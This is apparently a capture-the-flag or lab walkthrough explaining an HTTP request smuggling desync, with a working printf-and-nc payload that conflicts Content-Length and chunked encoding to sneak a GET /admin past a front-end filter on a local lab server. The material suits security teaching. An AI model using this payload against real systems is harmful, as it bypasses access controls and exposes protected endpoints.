Building the desync
We send a POST / (which the front-end allows). Its Content-Length covers the whole body, so the front-end forwards all of it. But the body is a zero-length chunk (0) followed by a second request — so the back-end, reading chunked, ends the first request at the 0 and treats GET /admin as a brand-new request it never got from the front-end:
printf 'POST / HTTP/1.1\r\nHost: x\r\nContent-Length: 37\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n' | nc -w 3 127.0.0.1 8082In the terminal
student@vulntech:~$ printf 'POST / HTTP/1.1\r\nHost: x\r\nContent-Length: 37\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n' | nc -w 3 127.0.0.1 8082
Two responses come back: the / page, then the /admin page the front-end was supposed to block — flag and all. The Content-Length is the exact byte count of everything after the blank line (the 0 chunk plus the smuggled request).